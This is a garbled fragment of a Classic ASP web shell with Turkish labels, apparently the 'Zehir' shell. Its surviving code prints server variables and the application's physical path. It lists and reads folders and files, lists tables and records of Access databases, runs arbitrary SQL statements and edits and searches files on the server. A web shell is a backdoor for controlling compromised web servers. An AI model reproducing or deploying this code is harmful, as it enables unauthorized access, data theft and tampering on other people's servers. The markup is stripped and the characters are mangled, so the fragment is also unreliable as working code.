Konum | Sonu? |
: Sistem Bilgileri : | |
Local Adres | " & request.servervariables("REMOTE_ADDR") & " |
User Agent | " & request.servervariables("HTTP_USER_AGENT") & " |
Server | " & request.servervariables("SERVER_NAME") & " |
IP | " & request.servervariables("LOCAL_ADDR") & " |
HTTPD | " & request.servervariables("SERVER_SOFTWARE") & " |
Port | " & request.servervariables("SERVER_PORT") & " |
Yol | " & request.servervariables("APPL_PHYSICAL_PATH") & " |
Log Root | " & request.servervariables("APPL_MD_PATH") & " |
HTTPS | " & request.servervariables("HTTPS") & " |
G?venlik Testi byZehir
|
" KlasorOku Response.Write " | " DosyaOku Response.Write " |
" KlasorOku Response.Write " | " DosyaOku Response.Write " |
"
set f = objFSO.OpenTextFile(path,1)
Response.Write ""&Server.HTMLEncode(f.readAll)&"" if err<>62 then hataKontrol if err.number=62 then Response.Write "":Response.End CASE 6 'Resim a? Response.Write " " CASE 7 'database tablo listele Response.Write "Tablolar " Set objConn = Server.CreateObject("ADODB.Connection") Set objADOX = Server.CreateObject("ADOX.Catalog") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objADOX.ActiveConnection = objConn For Each table in objADOX.Tables If table.Type = "TABLE" Then Response.Write "4 "&table.Name&" " End If Next hataKontrol CASE 8 'database kay?t listele Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objRcs.Open table,objConn, adOpenKeyset , , adCmdText Response.Write "" for i=0 to objRcs.Fields.count-1 Response.Write "" next Response.Write "" do while not objRcs.EOF Response.Write "" for i=0 to objRcs.Fields.count-1 Response.Write "" next Response.Write "" objRcs.MoveNext loop Response.Write "
" hataKontrol CASE 9 'SQL Execute Set objConn = Server.CreateObject("ADODB.Connection") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objConn.Execute strSQL ' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time hataKontrol CASE 10 'Dosya Editleme set f = objFSO.OpenTextFile(dPath,1) Response.Write " " else byMsg = "File Edited Successful:) " end if Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg CASE 12 'Dosya Arama araBul path,arama hataKontrol END SELECT Response.Write " |